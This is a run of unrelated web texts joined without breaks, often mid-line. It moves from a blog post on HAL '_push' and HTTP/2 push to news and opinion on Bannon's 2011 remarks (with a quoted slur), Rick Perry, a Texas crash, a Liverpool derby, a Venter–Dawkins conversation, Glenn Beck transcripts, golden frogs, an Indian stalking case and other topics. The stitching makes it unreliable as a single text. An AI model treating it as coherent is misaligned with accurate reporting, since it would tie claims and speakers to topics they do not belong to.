{ "_links" : { "self" : { "href" : "/" }, "current-user" : { "href" : "/user/1356" }, "support" : { "href" : "mailto:support@example.org" } }, "_push" : [ { "request" : { "method" : "GET", "uri" : "/user/1356", "headers" : { "accept" : "application/hal+json" } }, "response" : { "headers" : { "vary" : "Accept", "cache-control" : "private; max-age=3600; no-revalidate", "content-type" : "application/hal+json", "etag" : " \" foo-bar \" " }, "body" : { "_links" : { "self" : { "href" : "/user/1356" } }, "firstName" : "...", "lastName" : "...", "email" : "..." } } ] }
Changed from _embedded are:
I added HTTP request and response headers and the request method.
I’m no longer indexing things in _embedded by their relation type, it’s just an array of requests and response pairs.
by their relation type, it’s just an array of requests and response pairs. I’m no longer removing items from _links. The link just stays there.
. The link just stays there. _push is not nested. It only appears in the top and it’s really just a ‘transport-level’ feature instead of a part of the data-structure.
The drawback? If you’re not interesed in developing an an advanced HAL client/server, and just want to build a ‘dumb’ parser of collections, there’s more data and a higher cognitive load.
However, even if this is a better way to push resources to a client, it’s only really needed for HTTP/1.1. HTTP/2 makes this obsolete.
HTTP/2
Those aware of what’s going on with HTTP/2 might recognize _push. HTTP/2 has a very similar feature.
HTTP/2 actually introduces a protocol-level push and it works in the exact same way. HTTP/2 Push can be used to preemptively populate the browser cache if the server knows the client will likely want to do certain GET requests in the future.
A HTTP/2 push message always contains BOTH the HTTP response, but also the HTTP Request that the browser would send if they did have to do the GET request.
And now there’s a new feature under development that makes this especially cool: HTTP/2 cache digest.
HTTP/2 cache digests is an extension to the HTTP/2 protocol that will allow a client to send a small summary of the cache a browser has for the server.
This is really the missing key, because the biggest thing we were missing with HTTP/2 push is that the server doesn’t know in advance which resources the client already knows. This results in unneeded pushes.
This is identical to a HAL server always adding resources to _embedded. The server doesn’t know if the client cared for them, or if it already had an up-to-date copy.
It would be easy for a HTTP/2 HAL client to add a HTTP header to GET requests such X-Please-Push: current-user to automatically push request/response pairs for a current-user relationship and only if the client didn’t already have an up-to-date copy of it.
For this reason I think that my _push proposal doesn’t make all that much sense. It’s only really useful to provide a HTTP/2-like push feature to HTTP/1.1. It’s a stopgap.
And since we no longer really need _embedded, it might make sense to also ditch _links and just move the information to the HTTP Link header, which also means all this REST linking logic is no longer restricted to JSON or XML-based formats.
Conclusion
In HAL and REST we currently have an awkward and poor fit for embedding resources. The only reason we need this in the first place, is because clients doing many GET requests is expensive. Technical limitations of HTTP.
This causes problems because these resources are not easily cached and simply don’t fit well within the HTTP design. We need to create layers on top of HTTP just to work around this.
HTTP/2 and cache digests might offer a great solution, in that we can completely avoid embedding resources and preemptively send resources that the client will probably want and doesn’t already have an up-to-date copy for.
This will make REST much more practical and alleviate some of the largest isues people have with it today. I think it eventually makes formats like HAL completely obsolete, because we’re moving the hard stuff to the protocol layer.Donald Trump’s campaign CEO, Stephen Bannon, said during a 2011 radio interview that progressives vilify prominent women in the conservative movement because they are not "a bunch of dykes that came from the Seven Sisters schools."
Citing women like Ann Coulter, Michele Bachmann, and Sarah Palin, Bannon said conservative women threaten the progressive narrative.
"And so these women cut to the heart of the progressive narrative," he said on Political Vindication Radio while promoting his movie, Fire From the Heartland: the Awakening of the Conservative Woman.
"That's why there are some unintended consequences of the women’s liberation movement. That, in fact, the women that would lead this country would be pro-family, they would have husbands, they would love their children. They wouldn't be a bunch of dykes that came from the Seven Sisters schools up in New England. That drives the left insane and that's why they hate these women," he said.
The Seven Sisters schools are the historic women's colleges of Barnard College, Bryn Mawr College, Mount Holyoke College, Radcliffe College, Smith College, Vassar College, and Wellesley College in the Northeast.
Bannon's past has come under scrutiny in recent days, with old court filings showing he faced accusations from his ex-wife of anti-Semitism and domestic violence.
Bannon said earlier in the 2011 interview that the progressive narrative was all about victimhood.
"The progressive narrative Saturday morning was the progressive narrative and that is all about victimhood," he said. "They're either a victim of race. They're victim of their sexual preference. They're a victim of gender. All about victimhood and the United States is the great oppressor, not the great liberator."Perry seems to have been reading his Buckley.
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“You don’t want to ruin a kid’s life for having a joint,” said Texas Governor Rick Perry during a Tuesday taping of “Jimmy Kimmel Live.”
The governor touted decriminalization as a way to reduce the size of government. “We’ve been able to shut down a prison in the state of Texas — that’s conservative, man!” Perry said to loud applause, the Christian Post reports.
Perry is on to something. William F. Buckley, Jr. was an early and passionate advocate of drug legalization. A majority of CPAC 2014 attendees said they supported the legalization of marijuana.
In fact, Eric Holder’s recent crackdown on mandatory minimum sentencing seems ultimately to have been a response to Senator Rand Paul’s criticism of this policy.
While Rick Perry may be in the wrong on other issues, he should be praised for helping conservatives to return to their small government roots on this one.How long can you survive the post-apocalyptic wastelands of NEO Scavenger? In the near-future, supernatural activity and human warfare have fragmented mankind into pockets of civilization struggling to survive in wild and dangerous lands. You awaken alone in an abandoned facility with no food nor water, and only a hospital gown and some mysterious items as clues to your identity.
NEO Scavenger (playable as a stand-alone download or in the browser via Flash) is a game where you must survive in the wasteland long enough to figure out who you are. Each turn you must decide where to go, how to scavenge for supplies, and how to deal with anything and anyone you encounter. And with each passing minute, the pit in your stomach grows, your dehydration worsens, your muscles tire, and your body temperature drops in the cold autumn air. Choose your starting abilities carefully, because they and your wit are the only tools you have in the apocalypse!Setting a new record but at the same time shocking absolutely nobody, news broke yesterday that we’ll be getting a six film rebooted Resident Evil franchise just five days after the final film in the current franchise hit Blu-Ray (what took so long?). While no one has gotten a satisfactory answer yet to the question of why we even needed the first six film Resident Evil franchise, let alone a second one immediately after, at least one website did manage to ask old-franchise star Milla Jovovich about the reboot, and she had a remarkably candid response: “Okay, well good luck with that.”
“I think a lot of people with these franchises kind of put the cart before the horse,” Jovovich continued telling ComicBook.com. “There’s a danger to that. They’ve been wanting to reboot Resident Evil for a long time, and listen: I love the Resident Evil world. I think it’s a great property, I would do it if I was a producer.”
But Jovovich had a heartfelt plea to the producers, and perhaps to all producers.
“I think what made Resident Evil so special is that the people involved really loved what they’re doing and really were fans of the game,” she said. “I would suggest that you find people that have that same passion for the property before you talk about reboots. I think if you get into this kind of genre, people are very sensitive to fakes. There’s some real fans in the sci-fi/action/horror world, and they’re not idiots. They can smell when something is done because people love it and when something is done just to monetize an opportunity.”
Will Jovovich’s words have a profound effect on Hollywood, forcing them to rethink their strategy of rebooting every single intellectual property they can over and over again until one of them turns into a lucrative shared cinematic universe with a writers room headed up by Akiva Goldsman?
Bwahahaha! Sorry, we could barely type that with a straight face.
About Jude Terror A prophecy says that in the comic book industry's darkest days, a hero will come to lead the people through a plague of overpriced floppies, incentive variant covers, #1 issue reboots, and super-mega-crossover events. Scourge of Rich Johnston, maker of puns, and seeker of the Snyder Cut, Jude Terror, sadly, is not the hero comics needs right now... but he's the one the industry deserves.
(Last Updated )
Related PostsFatal crash leaves one father grieving, another a suspect 11-year-old boy is praised for heroism as authorities look for his dad
A two-vehicle wreck killed two Aug. 18 on Texas 35 in Refugio County, near the Aransas National Wildlife Refuge. (Photo courtesy of KAVU-TV) A two-vehicle wreck killed two Aug. 18 on Texas 35 in Refugio County, near the Aransas National Wildlife Refuge. (Photo courtesy of KAVU-TV) Image 1 of / 9 Caption Close Fatal crash leaves one father grieving, another a suspect 1 / 9 Back to Gallery
While a young boy has been earning accolades for heroism in a horrific accident, his father has been indicted over two deaths caused by the wreck and is apparently avoiding authorities.
The center of the tragic story is a two-vehicle wreck Aug. 18 on Texas 35 in Refugio County, near the Aransas National Wildlife Refuge.
Two Austin residents died at the scene: Nicole Lowenberg, 45, one of the drivers, and Samuel Stoffregen, 14, a passenger in her 2007 Range Rover.
The southbound SUV, which also carried Lowenberg's two sons — Nicholas, 14, and Trey, 10 — was hit by a northbound pickup driven by 43-year-old Leo George Click, of Victoria, who allegedly crossed the center line.
Lowenberg was taking her sons and Samuel to the beach for a last vacation before the teens started high school, said Jonathan Stoffregen, Samuel's father.
The grieving dad has contacted media to report that Click, as of Wednesday, had not been arrested on charges stemming from the accident.
Click is due in court Dec. 16 following a Nov. 22 indictment on two charges of criminal negligent homicide and five charges of injury to a child, said Ray Hardy Jr., assistant district attorney for Refugio County.
Click is also wanted on a parole warrant issued Nov. 14 because he had stopped reporting to his parole officer, said Jason Clark, a spokesman for the Texas Department of Criminal Justice.
Click had been on parole since May 2012 after serving part of a six-year sentence on a charge of family violence, Clark said.
"He's walked away from everything," Stoffregen said. "I'd like for him to do the right thing."
Stoffregen, a chef who owns a catering company in Austin, said the loss of his only child is the hardest thing he's ever done.
"It's one day, one breath, one step at a time," he said. "My whole life has been focused on being a dad."
Samuel, who was a cellist and avid scuba diver, wanted to be a marine biologist to help people understand the sea, his father said.
"He had an infectious smile," Stoffregen said of his son. "That's one of the big things people said — his smile always encouraged them to keep moving forward."
When the accident happened about 4:35 p.m. that Sunday, the impact spun the Range Rover around, while the pickup turned over but came to rest upright in a ditch, authorities said.
The four passengers in the 2012 Dodge Ram truck included Click's 11-year-old son, Leo "Willy" Click, his 9-year-old daughter and a niece, also 9.
Among the pickup occupants, Willy Click was the only one who remained conscious during the crash, said John Tait, commander of American Legion Post 166 in Victoria.
Tait learned about the accident from neighbors who are relatives of Willy's.
"It's a remarkable story what this little kid did," said Tait, a Vietnam War veteran. "He did what grown men on the battlefield wouldn't be able to do in circumstances like that."
For his heroic actions, the post presented him the Medal of Heroism at a ceremony Nov. 22. Tait said as far as he knew, it was the first time the post has awarded the medal to anyone.
Despite seatbelt burns, a broken finger and numerous cuts from broken glass, Willy got his sister and cousin out of the car, Tait said.
Barefoot and wearing just shorts and a T-shirt, he pulled off his shirt and used it as a bandage for his sister, who was bleeding profusely from the forehead, Tait said.
Unable to pull the two adults out of the truck, Willy ran up the embankment to the road and flagged down help, Tait said.
As a result, everyone got out of the vehicle before fire prevented their escape, he said.
"When we found out about it, we could not let it go," Tait said. "We had to do something to shine a light on this youngster."
The attention from a roomful of about 125 supporters embarrassed the boy, who's a straight-A student, Tait said.
"He told his mother, 'I'm not a hero,' " Tait said. "'I just did what I was supposed to do.' "Liverpool started the 222nd Merseyside derby looking over their shoulders at neighbours Everton and with a glance in the direction of Manchester United, fortified by Juan Mata's £37m addition.
They ended a thunderous night with their biggest Merseyside derby win since November 1982 and, at 4-0, the widest victory margin at Anfield against their rivals from across Stanley Park for 42 years.
Manager Brendan Rodgers will seek satisfaction in those statistics - but of greater significance is that this evolving Liverpool team will feel they can gaze forward rather than back in the closing phases of the Premier League season.
Merseyside kings Liverpool are now unbeaten in the last 14 Premier League Merseyside derbies at Anfield, with Everton's last away win coming courtesy of a Kevin Campbell goal in 1999
To suggest Liverpool can be title winners is still stretching reality but a place in the top four, which was seen as the real measure of Rodgers's achievements when the season started, is there for the taking when their remaining fixtures are studied.
This meeting with Everton was billed by some as the most crucial league meeting of these fierce rivals in three decades. Any pretence at a serious contest was ripped away within 35 minutes as fourth-placed Liverpool roared into a three-goal lead by cutting Everton to shreds.
Steven Gerrard scored first, Daniel Sturridge got two before the break and when Luis Suarez added a fourth five minutes after the interval Everton were looking like they could be on the wrong end of all sorts of unwelcome records.
It stayed 4-0, Liverpool paying the price for needless generosity when Sturridge showed why he is not their regular penalty taker with a shocking effort, but the message delivered by Rodgers and his players was clear.
Arsenal, Tottenham, Manchester City and Chelsea all have to come to Anfield, so Liverpool's fate is - to a large extent - in their own hands despite United's strengthening and Everton's excellence before the spectacular demolition on Tuesday.
Liverpool captain Steven Gerrard opened the scoring at Anfield
Liverpool's defence is still a weak spot to be probed but this, in some respects, is a risk Rodgers is prepared to take to give full flight to the attacking talents of the likes of Suarez and Sturridge.
The eventual Premier League champions are likely to be elsewhere, but Liverpool can have a major say in and around those top four places and certainly have the capacity to claim one of their own.
Everton's optimism as they arrived at Anfield was tangible. Manager Roberto Martinez's relentless positivity was the catalyst for a feeling that they could end a winless league sequence here stretching back to 1999.
Media playback is not supported on this device Rodgers hails 'outstanding' Liverpool
It fell down on several levels. Martinez gambled on players who were clearly not match fit, such as Phil Jagielka, Antolin Alcaraz, Ross Barkley (who was still excellent) and Steven Pienaar. They also, to use cricketing parlance, did not just go onto the front foot but charged down the pitch to take on the opposition. It was a fatal, flawed approach.
This was what Martinez may have been referring to when he called Everton "naive" - and it led them right into a trap Liverpool sprang on them time and again in the shape of quite devastating counter attacks.
And most of all, Everton fell down in the face of a Liverpool team superbly marshalled by Gerrard and with creative forces that feasted on the spaces afforded them.
Gerrard was superb in front of the back four and those who are tempted to rather hastily say Liverpool may just be better off without their captain should think again. They are not.
Philippe Coutinho was brilliant in his creation while Sturridge and Suarez are irresistible when given the right service.
Sturridge had an eventful evening, getting carried away with his selfishness in search of his hat-trick and reducing Suarez to a quite magnificent dancing, jumping, arm-waving fit of pique when he refused to play the Uruguayan in on goal.
Daniel Sturridge later apologised after reacting badly to being substituted by manager Brendan Rodgers
And when Rodgers decided to give him an early night, Sturridge responded with a minor hissy fit that ended with him apologising for his reaction. All was forgiven in the after-glow of such an outstanding victory.
Nothing can take any gloss off this win for Liverpool, delivering what may be a psychological blow to Everton while adding to their own convictions that they can finish in the top four.
Manchester United may well emerge as the big danger, but Liverpool have the attacking talent to give themselves great confidence as well as help to cover up defensive frailties, although those big home games will be examinations as well as opportunities.
And credit too, to Rodgers. After his transitional first season when occasionally Liverpool appeared to be implementing his passing game for passing's sake, they have now shifted emphasis to become a more rounded attacking team.
The passing remains but pace, movement and two outstanding goalscorers means that the development under Rodgers is there for all to see on nights like this. There will be bumps but there is no doubt the manager is on the right lines.
Media playback is not supported on this device Everton lacked awareness - Martinez
It is an insight into Rodgers' approach that he wants to add another attacker to his squad before Friday's transfer deadline. Like his team he is looking forward not back.
As for Everton, it was a chastened manager and team who filed out of Anfield on the back of an embarrassment - but perspective is also needed.
This was only their third Premier League defeat this season. It was a painful one, but still only their third all the same.
Everton's problem was always going to be a thin squad and they have been struck by long-term injuries to Arouna Kone, Darron Gibson, Bryan Oviedo and now potentially Romelu Lukaku as he was taken off on a stretcher with ankle ligament damage, the victim of an unwitting challenge from team-mate Gareth Barry as he slipped trying to block Gerrard scoring Liverpool's first goal.
Super-sharp Suarez Luis Suarez has now scored 23 times in the Premier League this season, matching his goal total from last season in just 18 appearances compared to 33 in 2012-13
Martinez must now replace an injured loan striker with another loan striker, Monaco's Lacina Traore, who has been suffering with injury himself. This hints at his sparse resources.
Liverpool and Rodgers are worried about the size of their own squad - but the scale of this victory will act as a shield against wider concerns.
They are still unlikely to win the title - but they have every right to look at the road ahead in the Premier League rather than worry about what is appearing in their rear view mirror.CRAIG VENTER: One of the exciting elements that people who are interested in the digital world here may find is we can use the genetic code to watermark chromosomes. You can use it in a secret code, or you can—basically what we're using is the three-letter triplet code that codes for amino acids. There's 20 amino acids, and they use single letters to denote those. Using the triplet code, we can write words, sentences, we can say, "This genome was made by Richard Dawkins on this date in 2008." A key hallmark of man-made species, manmade chromosomes, is that they will be very much denoted that way. RICHARD DAWKINS: What has happened is that genetics has become a branch of information technology. It is pure information. It's digital information. It's precisely the kind of information that can be translated digit for digit, byte for byte, into any other kind of information and then translated back again. This is a major revolution. I suppose it's probably "the" major revolution in the whole history of our understanding of ourselves. It's something would have boggled the mind of Darwin, and Darwin would have loved it, I'm absolutely sure. LIFE: A GENE-CENTRIC VIEW
Craig Venter & Richard Dawkins: A Conversation in Munich
(Moderator: John Brockman)
It's not everyday you have Richard Dawkins and Craig Venter on a stage talking for an hour about "Life: A Gene-Centric View". That it occured in Germany, where the culture has been resistant to open discussion of genetics, and at DLD, the Digital, Life, Design conference organized by Hubert Burda Media in Munich, a high-level event for the digital elite — the movers and shakers of the Internet — was particularly interesting. This event was a continuation of the Edge "Life: What a Concept!" meeting in August, 2008. Edge is pleased to report on the event: the complete one hour video; the verbatim transcript; a sampling of the press from event articles in Sueddeutsche Zeitung, Spiegel Online, and Stern. Introduction Thirty-two years ago, Richard Dawkins published The Selfish Gene, one of the landmark books of the 20th Century. In it, he set forth the "gene's-eye" view of life. (See "The Selfish Gene: Thirty Years On" on Edge). "Individuals are not stable things," he wrote, "they are fleeting. Chromosomes too are shuffled into oblivion, like hands of cards soon after they are dealt. But the cards themselves survive the shuffling. The cards are the genes. The genes are not destroyed by crossing over, they merely change partners and march on. Of course they march on. That is their business. They are the replicators and we are their survival machines. When we have served our purpose, we are cast aside. But genes are the denizens of geological time: genes are forever." "Notions like Selfish Genes, memes, and extended phenotypes are powerful and exciting," notes computer scientist W. Daniel Hillis. "They make me think differently. Unfortunately, I spend a lot of time arguing against people who have over interpreted these ideas. They're too easily misunderstood as explaining more than they do. So you see, this Dawkins is a dangerous guy. Like Marx. Or Darwin." Part of Dawkins' danger is his emphasis on models derived from cybernetics and information theory, and that such models, when applied to our ideas of life, and in particular, human life, strike some otherwise intelligent people numb and dumb with fear and terror. According to psychologist Steven Pinker, "Dawkins's emphasis on the ethereal commodity called "information" in an age of biology dominated by the concrete molecular mechanisms is another courageous stance. There is no contradiction, of course, between a system being understood in terms of its information content and it being understood in terms of its material substrate. But when it comes down to the deepest understanding of what life is, how it works, and what forms it is likely to take elsewhere in the universe, Dawkins implies that it is abstract conceptions of information, computation, and feedback, and not nucleic acids, sugars, lipids, and proteins, that will lie at the root of the explanation." Dawkins, an evolutionary biologist, is Charles Simonyi Professor For the Understanding of Science, Oxford University. His most recent book is the international bestseller, The God Delusion. (See Richard Dawkins's Edge Bio page) Craig Venter, who decoded the human genome, is on the brink of creating the first artificial life form on Earth. "I have spent", he says, "the last fifteen years of his career doing, digitizing biology. That's what DNA sequencing has been about. I view biology as an analog world that DNA sequencing has taking into the digital world." According to Venter (in his recent BBC Dimbleby Lecture "A DNA-Driven World"), "the future of life depends not only in our ability to understand and use DNA, but also, perhaps in creating new synthetic life forms, that is, life which is forged not by Darwinian evolution but created by human intelligence "To some this may be troubling, but part of the problem we face with scientific advancement, is the fear of the unknown — fear that often leads to rejection...Science is a topic which can cause people to turn off their brains". At the end of June, Venter announced the results of his lab's work on genome transplantation methods that allows for the transformation of one type of bacteria into another, dictated by the transplanted chromosome. In other words, one species becomes another. In talking to Edge about the research, Venter noted the following: Now we know we can boot up a chromosome system. It doesn't matter if the DNA is chemically made in a cell or made in a test tube. Until this development, if you made a synthetic chromosome you had the question of what do you do with it. Replacing the chromosome with existing cells, if it works, seems the most effective to way to replace one already in an existing cell systems. We didn't know if it would work or not. Now we do. This is a major advance in the field of synthetic genomics. We now know we can create a synthetic organism. It's not a question of 'if', or 'how', but 'when', and in this regard, think weeks and months, not years. Venter is Director, The J. Craig Venter Institute, and the author of the recently published autobiography, A Life Decoded: My Genome: My Life. (See Craig Venter's Edge Bio Page). DLD, Europe's conference for the 21st century, took place January 20-22, 2008 at HVB Forum in Munich, Germany. DLD covers digital innovation, science and culture and brings together thought leaders from Europe, the Middle-East, America and Asia. The three-day event was chaired by Edge contributors publisher Hubert Burda (See "Hubert Burda — Germany's Agent of Change" on Edge) and investor Yossi Vardi and hosted by Stephanie Czerny and Marcel Reichart. LIFE: A GENE-CENTRIC VIEW
Craig Venter & Richard Dawkins: A Conversation in Munich
(Moderator: John Brockman)
Richard Dawkins & J.Craig Venter
Click here for the complete one hour video of the event. The following is the unedited transcript... MARCEL REICHART (Hubert Burda Media/DLD): And here we're going to have one of the true highlights. Steffi... STEFFI CZERNY (Hubert Burda Media/DLD): John Brockman is talking to Richard Dawkins and Craig Venter. This is a very special thing, and we are very grateful, John, that you brought this panel together. We have known John for a long time. He always inspired us a lot. He was the one who introduced me to the term "digerati." And now he's introducing all of you to the most essential issue of the new century. JOHN BROCKMAN: Thank you, Steffi and thank you all for coming. It's not every day you have Richard Dawkins and Craig Venter on a stage together. Richard Dawkins is responsible for possibly the most important science book of the last century, The Selfish Gene, published in 1976, which set forth an agenda of the gene-centric, or gene's eye, view of life, which has become the basic science agenda for biologists for the last quarter century. And without that worldview, you wouldn't have Craig Venter changing the world the way he is today. Craig Venter is the man who led the private group that decoded the humane genome in 2001. He's working on the forefront of artificial life, synthetic biology. He's traveling around the world on a sailboat finding millions of new genes in the oceans and in very dramatic fashion. And most recently, in June, his lab was responsible for transplanting the information from one genome into another. In other words, your dog becomes your cat. What we'll do first is a conversation between Craig and Richard, and then if any of you have questions |
March 23, 2010, edition of Glenn Beck:
BECK: Jim Wallis, yet another spiritual adviser to the president of the United States -- a guy who believes a lot of the stuff that Jeremiah Wright does. He is a blatant redistribution of wealth advocate, a Marxist. But I don't want you to take my word for it. We have years and years and years of words of Mr. Wallis. Let's take his words for it. (BEGIN AUDIO CLIP) UNIDENTIFIED FEMALE: Are you then calling for the redistribution of wealth in society? WALLIS: Absolutely, without any hesitation. That's what the gospel is all about. (END AUDIO CLIP) BECK: The redistribution of wealth is what the gospel is all about. He claims that the gospel of Jesus Christ is about a central government taking money from individuals and then distributing it the way they see fit. Christians, you know better than that. You know better than that. Reverend Wallis, we know who's distorting the gospel here. We know that Jesus' message was about choice. And if you're going to a church that has social justice, which means I choose, with my church, to go out and make a difference, that's a different thing than what you're preaching. You have a responsibility, if you have extra, the Lord does say, you have a responsibility to choose to help the poor. Remember what he said about the rich people? They'll have a harder time getting into heaven than a camel going through the needle of a -- or an eye of a needle. You see, he is the arbiter of justice. I already told you that the reverend says, quote, "Voluntary faith- based initiatives with no resources to make serious difference in poverty reduction is not adequate." OK. So, now, there's the distortion again, a perversion of the Bible. Are you really going to try to convince Americans that they should be forced into giving? And by the way, if you are forced, is that giving? Do you feel charitable on April 15th? Because I don't. I don't. I feel charitable when I write a check for tithing, when I write a check for the poor or send somebody to school. I do feel charitable -- not on April 15th. When did Christ ever preach about taking away our freewill? You see -- at least my understanding here, Reverend, is that's the other side's plan. Forcing people to do the right thing, that's the devil's way. That's the Marxist, communist, socialist, progressive way. That is the kind of social justice they speak of. Not me. Oh there's more. More on Reverend Wallis and his perversion of the gospel and what this means to you -- what's coming. Coming up. [Fox News, Glenn Beck, 3/23/10, transcript via Nexis]
Beck: The "American Left" Is "Funding Terrorists Or Working With Terrorists." From the April 1 edition of Glenn Beck:
BECK: I guarantee you what you're going to learn tonight is going to open your eyes a little bit. For instance, are we the American taxpayers actually funding terror? Probably. Probably. Are we unwittingly contributing to the destruction of our own Constitution? Yes. You know, it's amazing to me that we have -- we're good and decent people. And we try to -- we try to be inclusive and try not to be hateful. But we're going to be remembered not as tolerant; we're going to be remembered as morons. We are taking our own country down. I showed you this before. This is a theory that as soon as -- as soon as Tunisia happened on the 31st of January, "I said, look out, Tunisia is going to be possibly the Archduke Ferdinand moment." Anybody remember me saying that? Did you think I was -- I mean, it sounded nuts at the time, didn't it? It sounded, like, it's Tunisia, Glenn. Relax. And, now, look how it is spread across. And they said it would cascade and sweep the Middle East and begin to destabilize Europe and the rest of the world. "The Wall Street Journal" reported this week that, yes, indeed, radicals, Islamists, communists and socialists are working together. In the Middle East -- yes, I know that sounds crazy but it's starting to happen. And we know that it's happening in the West and we know that it's happening here in America. There have been arrests of people who are funding terrorists or working with terrorists and they're from the American left. [Fox News, Glenn Beck, 4/1/11]
Beck: Union Leaders Seek "The Destruction Of Capitalism And The Western Way Of Life." From the April 5 edition of Glenn Beck:The Panamanian golden frog communicates with other frogs by semaphore in the form of gentle hand waves.
It has evolved the mechanism to signal to rivals and mates above the noise of mountain streams.
Shortly after filming for the BBC One series Life In Cold Blood, the frogs had to be rescued from the wild, due to the threat of chytrid fungus.
Hilary Jeffkins, senior producer of Life In Cold Blood, said the semaphoring behaviour of the Panamanian golden frog was very unusual.
"Normally, frogs would croak to get their message across but it's too noisy," she said. "An extra mechanism they've evolved is to wave to each other."
'Final wave'
The frogs (Atelopus zeteki) were filmed at a remote location in the Panamanian rainforest. The population had all but disappeared because of a fungus that grows on the amphibians' skin and suffocates them.
The film crew was disinfected - to stop them from carrying the disease - and managed to capture unique footage of the frogs in the wild.
THE GOLDEN FROG Locals believe the frogs turn to solid gold when they die Even a sighting of one is considered lucky Golden frogs are highly toxic
Scientists were forced to remove the remaining frogs from the wild and keep them in captivity.
Hilary Jeffkins added: "The whole species is now extinct in Panama - this was one of the last remaining populations. Its final wave was in our programme."
Chytrid fungus (Batrachochytrium dendrobatidis) is a major contributor to the decline of amphibian populations around the world, threatening many species with extinction.
Sir David Attenborough brings viewers the final chapter of his epic overview of life on Earth as he transforms perceptions of cold-blooded animals in the landmark BBC One series Life In Cold Blood. It starts on Monday 4 February at 2100 GMTHaryana BJP chief Subhash Barala's son Vikas Barala was arrested and released on bail the same day in a case of stalking. (Screengrab: India Today TV)
In what could raise a question mark on the Manohar Lal Khattar government of Haryana, police have dropped three serious charges against Vikas Barala in the Chandigarh stalking case.
Vikas Barala is the son of Haryana BJP president Subhash Barala. Vikas and a friend of his were booked for stalking a woman, who is the daughter of a senior IAS officer in the state.
The three charges were originally slapped against Vikas and his friend. But, later those charges were dropped. After having registered the FIR under IPC Section 354 D (stalking) and Section 185 of the Motor Vehicle Act, the police added three more Sections, namely, 341, 365 and 511.
THE DROPPED IPC SECTIONS
IPC Section 341 deals with wrongful restraint while Section 365 is related to "kidnapping or abducting with intent secretly and wrongfully to confine person." Section 511 of the IPC relates to "punishment for attempting to commit offences punishable with imprisonment for life or other imprisonment."
After dropping these charges, Vikas and his co-accused were granted bail by the police without producing them in court. Under attack for dropping the charges, police said that they were seeking legal opinion on IPC Sections 365 and 511.
WHY DOES IT MATTER?
To understand the legal implications of the development, India Today spoke to renowned Chandigarh lawyer Ranjan Lakhanpal, who said, "Under these Sections, the police did not have power to grant bail and release the accused. The charges were serious and the Sections added were non-bailable."
"Police have bypassed the judiciary. It seems attempts are being made to weaken the case as the accused are from influential families," Lakhanpal said.
Meanwhile, commenting on the Chandigarh stalking case, Haryana Chief Minister Manohar Lal Khattar said that action would be taken against Barala's son. Though, he asserted that Haryana BJP chief Subhash Barala has nothing to do with the matter.
"This matter is not related with Subhash Barala but with an individual. So action would be taken against his son," Khattar said.
ALSO READ |
CM Khattar on Chandigarh stalking: Can't punish Haryana BJP chief for his son's crime
Arrested for stalking a woman, Haryana BJP chief Subhash Barala's son Vikas gets bail
ALSO WATCH | India Today Exclusive: Chandigarh harassment victim speaksAs a scholar of conservatism, I’m finding this Trump-wants-to-punish-women-who-get-abortions moment fascinating. At its heart, I’ve argued, “conservatism is the theoretical voice of this animus against the agency of the subordinate classes.”
It provides the most consistent and profound argument as to why the lower orders should not be allowed to exercise their independent will, why they should not be allowed to govern themselves….Submission is their first duty, agency, the prerogative of the elite.
Though certainly hostile to women’s agency, Trump’s position recognizes it. He’s saying women make the choice to get an abortion, abortion is a crime, so do with women who get an abortion what we do with anyone who commits a crime: hold them accountable, punish them.
Trump’s detractors in the GOP refuse to recognize women’s agency. It’s the abortionist’s fault, they say! Hold the doctor accountable, not the poor unsuspecting women, who’s just an innocent victim of the doctor’s evil ways. (After much outcry, Trump seems now to have come around to this position.)
Seting aside the obvious politics of and maneuvering around this argument—the anti-abortion forces recognize what an electoral disaster Trump’s position is (as does he now, apparently) because they’ve been running from that position for decades—there’s some complicated stuff being worked out here about how to deal with the agency of a subordinate class, particularly when that class is insubordinate, when it defies your will.
If the goal is simply to constrain the agency of the subordinate class, the simplest thing to do is to punish the disobedient so that she doesn’t act disobediently again. But in doing so, you implicitly recognize her agency, particularly if your punishment is tied to a set of laws and rules you expect her to learn. And then you run into the problem that Frederick Douglass so shrewdly made a muchness of in his attack on the inconsistencies of the slaveholder’s position:
Must I undertake to prove that the slave is a man? That point is conceded already. Nobody doubts it. The slaveholders themselves acknowledge it in the enactment of laws for their government. They acknowledge it when they punish disobedience on the part of the slave. There are seventy-two crimes in the State of Virginia which, if committed by a black man (no matter how ignorant he be), subject him to the punishment of death; while only two of the same crimes will subject a white man to the like punishment. What is this but the acknowledgment that the slave is a moral, intellectual, and responsible being? The manhood of the slave is conceded. It is admitted in the fact that Southern statute books are covered with enactments forbidding, under severe fines and penalties, the teaching of the slave to read or to write.
If the goal is not simply to constrain the agency of the subordinate class, but to deny it altogether, the far better move is not to hold the disobedient accountable all but instead to blame her disobedience on some external force: Satan, the serpent, the doctor. She then becomes a vessel, the implement of another’s will (preferably a man’s will), which is precisely what so many in the conservative movement want women to be.
On a related note, it’s amazing to me how the anti-abortion crowd has managed to claim they are the inheritors of the abolitionist movement. Though the analogy is admittedly imperfect, if anyone has the right to the anti-slavery mantle, surely it is those who believe that women should not be compelled to have their bodies used against their will. There is a reason it’s called labor, after all.Some parents display their children’s artwork on the fridge; proud dad Keith Anderson exhibits his son Kai’s drawings on his arm as tattoos. For the last seven years, Anderson–a self-described climber, adventurer, student, and bike enthusiast who lives in Peterborough, Ontario–has turned Kai’s doodles into permanent body art. The first tattoo was inked from a drawing that Kai did when he was 4 years old. The playful father-son tradition is still going strong, with the goal of adding one tattoo a year until Anderson’s arm is entirely filled with a sleeve.
In these touching snapshots captured by photographer Chance Faulkner, the devoted father can be seen showing off his unique tattoos and flipping through the pages of the Poetry Book, a gift from his son that contains poems and tattoo sketches. According to Anderson, he and Kai have become closer as a result of their special tradition. Kai has not only come to understand the lengths his dad is willing to go to for him, but he’s also developed a passion for art. The 11-year-old even had the opportunity to try his hand at tattooing his dad one year when he accompanied him on a trip to the tattoo parlor.
“We will keep going until he doesn’t want to do it anymore,” Anderson shares in an interview with the photographer. “At this pace he is still very excited about it, so we’ll keep going. People ask me what will happen if I run out of space; I guess I’ll just get him to draw smaller pictures.”
Photos by Chance Faulkner
Chance Faulkner’s website
via [A+]Gordon “Banks” Derrick, General Secretary of the Antigua & Barbuda Football Association (ABFA) and President of the Caribbean Football Union (CFU), has confirmed he will contest the CONCACAF presidency race when it comes up in May.
The CONCACAF Ordinary Congress is slated for May 12 in Mexico City.
“At our congress over the weekend a lot of the delegates had mentioned to me that they think I should run and I indicated that I will take up the challenge, but we will make a public announcement of it in short order,” he said.
